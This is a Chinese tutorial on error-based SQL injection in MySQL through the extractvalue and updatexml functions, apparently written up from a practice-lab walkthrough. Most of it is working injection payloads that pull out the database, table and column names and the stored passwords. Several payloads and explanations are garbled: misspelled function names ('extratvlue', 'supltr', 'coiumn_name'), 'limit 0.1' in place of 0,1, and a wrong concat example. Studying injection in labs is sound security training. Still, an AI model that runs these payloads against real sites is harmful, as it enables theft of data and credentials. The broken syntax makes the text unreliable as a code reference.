报错注入是利用了数据库的某些机制,人为的制造错误条件,是的查询结果能够出现在错误信息中。
有 xpath语法错误
xpath语法错误
利用xpath语法错误进行报错注入时利用了extractvlue与updatexml两个函数。
使用条件:nysql版本大于5.1.5
extractvalue函数
原型:extractvalue(xml_document,Xpath_string)
第一个参数:xml_document是string格式,为xml文档对象名称
第二个参数:Xpath_string是xpath格式的字符串
报错原理:
第二个参数是要求符合xpath语法的字符串,如果不满足要求,报错,查询信息放在报错中
如:id=1'and(select extractvalue(1,concat(0x7e,(select database()))))
concat进行拼接 如:concat('a','d')='ab'
0x7e=~
以墨者靶场报错注入为例:
通过测试1 and 1=2 和1’and 1=2 --+ 得出参数是字符型
靶场将union过滤了
使用extractvalue进行报错注入
爆库名:id=1' and (select extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
爆表名:id=1' and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = "库名"))))
爆列名:id=1' and (select extractvalue(1,concat(0x7e,(select group_concat(coiumn_name) from information_schema.coiumns where table_name="表名"))))
爆数据:id=1' and (select extractvalue(1,concat(0x7e,(select ‘列名’from "表名"))))
注意:extractvalue()能查询字符串的最大长度为32,如果密码已经超过了超过32位,此时用substr()函数
如:supltr(a,b,c) 在a中从b位开始截取c位
limit函数 有两个参数 第一个为返回第一行的偏移量 第二个为返回行的最大数目。
如 : select*from table limit 0,9;从第1行开始,显示9条数据
select*from table limit 1,9;从第2行开始显示,9行数据
因此
最后要得到的最后一位数据位 id=1' and (select extratvlue(1,concat(0x7e,(select supltr(password,32,1) limit 0.1 ))))
因为有 两个密码所以下一个为 id=1' and (select extratvlue(1,concat(0x7e,(select supltr(password,32,1) limit 1.1 ))))
updatexml函数
原型 updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象名称
第二个参数:Xpath_string是xpath格式的字符串
第三个参数:new_value 是string格式,替换查找到的复合条件的数据
应为第二个参数与extractvalue 相同 ,所以利用方式相同,方法也相同。
如:id=1'and(select updatexml(1,concat(0x7e,(select database())),1))